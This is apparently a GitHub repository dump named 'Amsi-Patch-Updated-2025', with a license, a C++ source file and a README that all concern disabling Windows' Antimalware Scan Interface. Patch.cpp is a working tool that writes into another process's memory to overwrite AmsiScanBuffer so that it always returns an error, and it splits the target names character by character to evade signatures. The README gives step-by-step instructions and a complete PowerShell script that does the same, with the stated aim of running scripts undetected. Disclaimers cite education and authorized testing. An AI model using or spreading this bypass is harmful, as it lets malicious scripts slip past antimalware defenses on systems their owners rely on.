├── LICENSE ├── Patch.cpp └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 EvilBytecode 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to use the Software for educational and authorized cybersecurity research purposes only, subject to the following conditions: 7 | 8 | The above copyright notice, this permission notice, and the following disclaimer shall be included in all copies or substantial portions of the Software. 9 | 10 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 11 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS (INCLUDING EvilBytecode) BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 12 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE, COPYING, DOWNLOADING, OR OTHER DEALINGS IN THE SOFTWARE. 13 | 14 | DISCLAIMER: I, EvilBytecode, release this project strictly for educational, academic, and authorized cybersecurity research purposes. 15 | By accessing, downloading, copying, using, or modifying this software, you agree to these terms. 16 | You must obtain explicit written permission from system owners before conducting any testing using this software. 17 | Unauthorized use, distribution, or deployment of this software against any third party, device, network, or system without prior consent is strictly forbidden and illegal. 18 | I, EvilBytecode, disclaim all responsibility, liability, or consequences arising from any misuse, illegal activities, damages, or losses resulting from this software. -------------------------------------------------------------------------------- /Patch.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | class AmsiPatcher { 6 | private: 7 | HANDLE hProcess; 8 | HMODULE hAmsiDll; 9 | FARPROC AmsiScanBuffer; 10 | DWORD pid; 11 | 12 | char ams1[9]; 13 | char ams10pen[17]; 14 | 15 | public: 16 | AmsiPatcher(DWORD processId) : pid(processId), hProcess(NULL), hAmsiDll(NULL), AmsiScanBuffer(NULL) { 17 | ams1[0] = 'a'; ams1[1] = 'm'; ams1[2] = 's'; ams1[3] = 'i'; ams1[4] = '.'; ams1[5] = 'd'; ams1[6] = 'l'; ams1[7] = 'l'; ams1[8] = 0; 18 | ams10pen[0] = 'A'; ams10pen[1] = 'm'; ams10pen[2] = 's'; ams10pen[3] = 'i'; ams10pen[4] = 'S'; ams10pen[5] = 'c'; ams10pen[6] = 'a'; 19 | ams10pen[7] = 'n'; ams10pen[8] = 'B'; ams10pen[9] = 'u'; ams10pen[10] = 'f'; ams10pen[11] = 'f'; ams10pen[12] = 'e'; ams10pen[13] = 'r'; 20 | ams10pen[14] = 0; 21 | } 22 | 23 | ~AmsiPatcher() { 24 | if (hAmsiDll) { 25 | FreeLibrary(hAmsiDll); 26 | } 27 | if (hProcess) { 28 | CloseHandle(hProcess); 29 | } 30 | } 31 | 32 | void PatchAmsi() { 33 | hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); 34 | if (!hProcess) { 35 | std::cerr << "Failed to open process with PID " << pid << "!" << std::endl; 36 | return; 37 | } 38 | 39 | hAmsiDll = LoadLibraryA(ams1); 40 | if (!hAmsiDll) { 41 | std::cerr << "Failed to load " << ams1 << "!" << std::endl; 42 | CloseHandle(hProcess); 43 | return; 44 | } 45 | 46 | AmsiScanBuffer = GetProcAddress(hAmsiDll, ams10pen); 47 | if (!AmsiScanBuffer) { 48 | std::cerr << "Failed to find " << ams10pen << "!" << std::endl; 49 | FreeLibrary(hAmsiDll); 50 | CloseHandle(hProcess); 51 | return; 52 | } 53 | 54 | unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; 55 | 56 | DWORD oldProtect; 57 | 58 | if (!VirtualProtectEx(hProcess, AmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) { 59 | std::cerr << "Failed to change memory protection!" << std::endl; 60 | FreeLibrary(hAmsiDll); 61 | CloseHandle(hProcess); 62 | return; 63 | } 64 | 65 | SIZE_T bytesWritten; 66 | if (!WriteProcessMemory(hProcess, AmsiScanBuffer, patch, sizeof(patch), &bytesWritten)) { 67 | std::cerr << "Failed to write memory!" << std::endl; 68 | VirtualProtectEx(hProcess, AmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect); 69 | FreeLibrary(hAmsiDll); 70 | CloseHandle(hProcess); 71 | return; 72 | } 73 | 74 | VirtualProtectEx(hProcess, AmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect); 75 | 76 | std::cout << "AMSI patched successfully in process with PID " << pid << "!" << std::endl; 77 | } 78 | }; 79 | 80 | int main(int argc, char* argv[]) { 81 | if (argc != 2) { 82 | std::cerr << "Usage: evilbytecode.exe " << std::endl; 83 | return 1; 84 | } 85 | 86 | DWORD pid = std::stoi(argv[1]); 87 | AmsiPatcher patcher(pid); 88 | patcher.PatchAmsi(); 89 | 90 | return 0; 91 | } 92 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Amsi-Patch-Updated-2025 2 | ### **Bypass AMSI (Antimalware Scan Interface) in PowerShell** 3 | 4 | This guide shows how to dynamically patch the `AmsiScanBuffer` function in PowerShell to bypass AMSI, enabling the execution of scripts without being detected. This technique is useful for penetration testing, security research, and other ethical hacking practices. 5 | 6 | > **Disclaimer:** Always use these techniques in controlled, legal environments. Misuse may lead to legal and ethical consequences. 7 | ![image](https://github.com/user-attachments/assets/17d63b89-01ae-428a-aa13-812deed92961) 8 | 9 | --- 10 | 11 | ## **Steps to Patch AMSI in PowerShell** 12 | 13 | ### 1. **Reverse Engineer `amsi.dll` using IDA Pro** 14 | If you have a free version of IDA Pro (version 9.0 or below), follow these steps: 15 | 16 | - **Open `amsi.dll` in IDA Pro.** 17 | Load the `amsi.dll` file and allow IDA to analyze the binary. 18 | 19 | - **Navigate to Exports Tab.** 20 | Press `Shift+F12` to open the **Exports** tab and locate the `AmsiScanBuffer` function. 21 | Double-click `AmsiScanBuffer` to jump to its code. 22 | 23 | - **Identify the Critical Code.** 24 | Look for the key logic in `AmsiScanBuffer`. This is the part that handles the scanning process. 25 | You should see something like this in the disassembly (example below): 26 | 27 | ![Critical Code Example](https://github.com/user-attachments/assets/0ca7316e-0264-46a2-8e80-d9e2c0d24179) 28 | 29 | - **Trace the Function Prologue.** 30 | Follow the call chain of `AmsiScanBuffer` to understand how it interacts with other functions. The red arrow in the IDA disassembly highlights where the critical code lies. 31 | 32 | - **Detect Control Flow Guard (CFG):** 33 | Look for `_guard_dispatch_icall`. This is used for Control Flow Guard and helps prevent malicious modifications. You'll need to patch around this. 34 | 35 | ### 2. **Locate the Patch Area** 36 | - **Find where `AmsiScanBuffer` returns a result.** 37 | This is the point where the AMSI scan function provides its result to the caller. 38 | - **Modify the return value.** 39 | Rather than allowing a normal scan, modify it to always return an error code like `0x80070057` (invalid parameter), which will prevent AMSI from scanning. 40 | 41 | ### 3. **Create a PowerShell Patch** 42 | 43 | Here is how to write the PowerShell script that patches `AmsiScanBuffer`: 44 | 45 | - **Load the `amsi.dll` library.** 46 | Use `LoadLibrary` to get a handle to `amsi.dll`. 47 | - **Locate the `AmsiScanBuffer` function.** 48 | Use `GetProcAddress` to find the address of `AmsiScanBuffer`. 49 | - **Change memory protection.** 50 | Use `VirtualProtect` to modify the memory protection of the `AmsiScanBuffer` function, ensuring it’s writable. 51 | - **Overwrite the function.** 52 | Patch the function to return the error code `0x80070057` (invalid parameter) instead of performing the normal scan. 53 | 54 | ### 4. **Run the PowerShell Script to Bypass AMSI** 55 | 56 | Once the script is ready: 57 | 58 | - **Save and execute the PowerShell script.** 59 | Running the script will patch `AmsiScanBuffer`, bypassing AMSI and allowing you to execute PowerShell scripts without being detected. 60 | 61 | - **Result:** 62 | AMSI will fail to scan scripts, enabling execution without triggering an alert. 63 | 64 | --- 65 | 66 | ## **PowerShell Script Example** 67 | 68 | Here's an example of how you can patch `AmsiScanBuffer` using PowerShell: 69 | 70 | ```powershell 71 | $Kernel32 = Add-Type -MemberDefinition @" 72 | [DllImport("kernel32.dll", SetLastError = true)] 73 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 74 | [DllImport("kernel32.dll", SetLastError = true)] 75 | public static extern IntPtr LoadLibrary(string lpLibFileName); 76 | [DllImport("kernel32.dll", SetLastError = true)] 77 | public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); 78 | "@ -Name "Kernel32" -Namespace "Win32" -PassThru 79 | 80 | $AmsiDll = $Kernel32::LoadLibrary("amsi.dll") 81 | $AmsiScanBuffer = $Kernel32::GetProcAddress($AmsiDll, "AmsiScanBuffer") 82 | 83 | # Ensure we successfully located AmsiScanBuffer 84 | if ($AmsiScanBuffer -eq [IntPtr]::Zero) { 85 | Write-Host "Failed to find AmsiScanBuffer!" 86 | exit 87 | } 88 | 89 | # Patch: MOV EAX, 0x57 000780, RET 90 | $patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) 91 | 92 | [UInt32]$oldProtect = 0 93 | $Kernel32::VirtualProtect($AmsiScanBuffer, [UInt32]6, 0x40, [Ref]$oldProtect) 94 | [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $AmsiScanBuffer, $patch.Length) 95 | 96 | Write-Host "AMSI Patched Successfully!" 97 | 98 | 99 | ## License 100 | 101 | This project is licensed under the MIT License. See the [LICENSE](./LICENSE) file for details. 102 | --------------------------------------------------------------------------------